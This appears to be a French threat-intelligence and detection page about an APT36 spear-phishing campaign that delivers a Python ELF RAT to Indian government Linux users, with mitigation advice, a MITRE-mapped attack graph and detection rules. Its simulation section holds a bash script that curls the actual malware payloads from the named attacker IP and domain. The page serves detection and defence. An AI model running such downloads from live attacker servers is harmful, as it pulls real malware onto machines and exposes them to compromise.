APT36 Déploie un Malware ELF Python Contre des Entités Gouvernementales Indiennes
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
APT36 (Transparent Tribe) a mené une campagne de spear-phishing qui a déployé des fichiers de raccourci Linux .desktop malveillants sur des utilisateurs du gouvernement indien. Ces lanceurs récupèrent et exécutent un RAT ELF basé sur Python nommé swcbc à partir d’un serveur contrôlé par l’attaquant. Le malware maintient sa persistance via un service systemd au niveau utilisateur et communique avec son C2 sur HTTP pour exfiltrer des données et exécuter des commandes. La campagne souligne la capacité croissante du groupe à opérer efficacement dans les environnements Linux.
Enquête
L’enquête a suivi la chaîne de l’archive .zip initiale au lanceur .desktop, au PDF leurre, et aux deux charges utiles (binaire ELF swcbc et script swcbc.sh) téléchargées depuis une adresse IP contrôlée par l’acteur. L’analyse a montré que le binaire ELF est un RAT Python emballé avec PyInstaller, doté de capacités de profilage système, de chargement/téléchargement de fichiers, de capture d’écran, et d’auto-suppression. La persistance est mise en œuvre en enregistrant un service systemd dans le répertoire de configuration de l’utilisateur.
Atténuation
Les défenses recommandées incluent le blocage de l’exécution des fichiers .desktop, .sh, et ELF reçus par email, et l’application de l’exécution en bac à sable pour les pièces jointes suspectes. Désactivez l’exécution automatique à partir de chemins accessibles en écriture par tous comme /tmp et appliquez des options de montage noexec lorsque possible. Surveillez le trafic DNS et HTTP pour des connexions au domaine et à l’adresse IP malveillants identifiés. Appliquez un contrôle strict des applications sur des outils comme curl et LibreOffice.
Réponse
Lorsqu’une activité est détectée, isolez l’hôte Linux impacté, collectez les artefacts malveillants et l’unité de service systemd, et supprimez le répertoire caché ~/.swcbc. Utilisez des outils forensiques pour extraire l’identifiant unique de l’hôte et terminez toutes les sessions C2 en cours. Mettez à jour le contenu de détection avec les IOCs observés et chassez de manière proactive des schémas similaires dans l’ensemble de l’environnement.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[« <b>Action</b> – <b>T1566 Phishing</b>: Spearphishing Attachment<br /><b>Description</b>: Adversaire envoie un raccourci .desktop malveillant à la cible. »] class initial_access_phishing action user_execution_file[« <b>Action</b> – <b>T1204.002 User Execution</b>: Fichier Malveillant<br /><b>Description</b>: La victime ouvre le fichier .desktop, provoquant l’exécution du script intégré. »] class user_execution_file action obfuscation[« <b>Action</b> – <b>T1027 Fichiers Obfusqués</b>: Codage des Données<br /><b>Description</b>: Le script est stocké comme une chaîne encodée en Base64 et la charge utile ELF est emballée avec PyInstaller. »] class obfuscation action masquerading[« <b>Action</b> – <b>T1036 Masquerading</b><br /><b>Description</b>: Le raccourci .desktop imite un document bureautique légitime et ouvre un PDF leurre. »] class masquerading action ingress_tool_transfer[« <b>Action</b> – <b>T1105 Transfert d’Outil d’Ingress</b><br /><b>Description</b>: Le script télécharge un binaire ELF et un script shell depuis un serveur HTTP distant. »] class ingress_tool_transfer action execution_unix_shell[« <b>Action</b> – <b>T1059 Interprète de Commandes et Scripts</b>: Shell Unix<br /><b>Description</b>: Le téléchargeur accorde la permission d’exécution et exécute les charges utiles en arrière-plan. »] class execution_unix_shell action persistence_systemd[« <b>Action</b> – <b>T1543 Création ou Modification de Processus système</b><br /><b>Description</b>: Un service utilisateur systemd malveillant est créé et activé pour démarrer à la connexion. »] class persistence_systemd action persistence_boot_script[« <b>Action</b> – <b>T1037.004 Scripts d’Initialisation au Démarrage ou à la Connexion</b><br /><b>Description</b>: Le service système au niveau utilisateur agit comme script de démarrage ou connexion pour la persistance. »] class persistence_boot_script action discovery_system_info[« <b>Action</b> – <b>T1082 Découverte d’Informations Système</b><br /><b>Description</b>: Le RAT ELF recueille la version de l’OS, le nom d’hôte, le nom d’utilisateur et l’adresse MAC. »] class discovery_system_info action discovery_file_dir[« <b>Action</b> – <b>T1083 Découverte de Fichiers et Répertoires</b><br /><b>Description</b>: Le malware énumère le système de fichiers pour localiser des fichiers à exfiltrer. »] class discovery_file_dir action command_control_app_layer[« <b>Action</b> – <b>T1071 Protocole couche application</b><br /><b>Description</b>: L’implant communique avec le serveur C2 en utilisant GET/POST HTTP. »] class command_control_app_layer action data_encoding[« <b>Action</b> – <b>T1132 Codage des Données</b><br /><b>Description</b>: Les charges utiles C2 sont encodées en Base64 pour obscurcir le contenu. »] class data_encoding action collection_local_data[« <b>Action</b> – <b>T1005 Données du Système Local</b><br /><b>Description</b>: Le RAT archive des fichiers sélectionnés dans des archives ZIP pour téléchargement. »] class collection_local_data action exfiltration_http[« <b>Action</b> – <b>T1005 Données du Système Local (Exfiltration)</b><br /><b>Description</b>: Les archives sont envoyées à l’attaquant par requêtes HTTP POST. »] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[« <b>Artifact</b> – <b>Raccourci .desktop</b><br /><b>Fichier</b>: Analysis_Proc_Report_Gem.desktop<br /><b>But</b>: Déclenche l’exécution du script Base64. »] class file_desktop artifact script_base64[« <b>Malware</b> – <b>Script Base64</b><br /><b>Contenu</b>: Décode et exécute la logique du téléchargeur. »] class script_base64 malware elf_payload[« <b>Malware</b> – <b>Binaire ELF (swcbc)</b><br /><b>Type</b>: RAT emballé livré via PyInstaller. »] class elf_payload malware shell_script_payload[« <b>Malware</b> – <b>Script Shell (swcbc.sh)</b><br /><b>But</b>: Script d’aide pour configurer la persistance. »] class shell_script_payload malware systemd_service[« <b>Artifact</b> – <b>Fichier de Service systemd</b><br /><b>Emplacement</b>: ~/.config/systemd/user/swcbc.service<br /><b>Effet</b>: Exécute la charge ELF à la connexion utilisateur. »] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing u002du002d>|livre| file_desktop file_desktop u002du002d>|invoque| script_base64 script_base64 u002du002d>|obfusque| obfuscation script_base64 u002du002d>|se déguise en| masquerading script_base64 u002du002d>|télécharge| elf_payload script_base64 u002du002d>|télécharge| shell_script_payload ingress_tool_transfer u002du002d>|facilite le téléchargement de| elf_payload ingress_tool_transfer u002du002d>|facilite le téléchargement de| shell_script_payload script_base64 u002du002d>|exécute via| execution_unix_shell elf_payload u002du002d>|s’exécute sous| process_elf[(« Processus ELF »)] class process_elf process process_elf u002du002d>|établit| command_control_app_layer process_elf u002du002d>|collecte d’informations système via| discovery_system_info process_elf u002du002d>|énumère les fichiers via| discovery_file_dir process_elf u002du002d>|archive les fichiers via| collection_local_data collection_local_data u002du002d>|encode les données via| data_encoding collection_local_data u002du002d>|exfiltre par| exfiltration_http exfiltration_http u002du002d>|utilise| command_control_app_layer shell_script_payload u002du002d>|crée| systemd_service systemd_service u002du002d>|active| persistence_systemd persistence_systemd u002du002d>|fournit| persistence_boot_script persistence_boot_script u002du002d>|assure l’exécution à la connexion| execution_unix_shell
Flux d’attaque
Détections
Détection de téléchargement URL malveillantes APT36 [Proxy]
Voir
Exécution de fichiers .desktop et de scripts shell malveillants APT36 [Création de processus Linux]
Voir
IOCs (SourceIP) à détecter : Malware ELF Python basé APT36 ciblant les entités gouvernementales indiennes
Voir
IOCs (DestinationIP) à détecter : Malware ELF Python basé APT36 ciblant les entités gouvernementales indiennes
Voir
IOCs (HashSha256) à détecter : Malware ELF Python basé APT36 ciblant les entités gouvernementales indiennes
Voir
Exécution de simulation
Prérequis : La vérification avant vol de la télémétrie et de la référence doit avoir été réalisée.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à un mauvais diagnostic.
-
Narration de l’attaque et commandes :
Un opérateur APT‑36 héberge trois charges utiles sur une infrastructure compromise et distribue leurs URLs via un email de phishing. La victime, utilisant un navigateur web configuré pour router le trafic à travers le proxy de l’entreprise, clique sur chaque lien. Le proxy enregistre chaque requête GET, produisant les entrées qui correspondent à la règle deurl|allliste. Les charges utiles sont :- Un binaire ELF brut (
swcbc) livré sur HTTP. - Un script shell (
swcbc.sh) qui, une fois exécuté, installe l’ELF. - Un PDF leurre (
Analysis_Proc_Report_Gem.pdf) destiné à encourager l’utilisateur à ouvrir le fichier tandis que l’ELF malveillant tourne en arrière-plan.
- Un binaire ELF brut (
-
Script de test de régression :
#!/usr/bin/env bash # Simulation de téléchargement d'URL malveillantes APT‑36 – déclenche la règle Sigma. set -euo pipefail # Définissez les URL malveillantes (chaînes exactes de la règle Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Téléchargez chaque charge utile via le proxy de l'entreprise. # Supposons que la variable d'environnement http_proxy/https_proxy pointe vers le proxy. for u in "${urls[@]}"; do echo "[*] Téléchargement de $u via proxy..." curl -s -O "$u" done echo "[+] Tous les fichiers malveillants téléchargés. Consultez les journaux du proxy pour les URL correspondantes."Sauvegardez le script sous
apt36_simulation.sh, rendez-le exécutable (chmod +x apt36_simulation.sh), et exécutez-le sur le poste de travail protégé. -
Commandes de nettoyage :
#!/usr/bin/env bash # Supprimez tous les fichiers créés par la simulation rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Nettoyage terminé."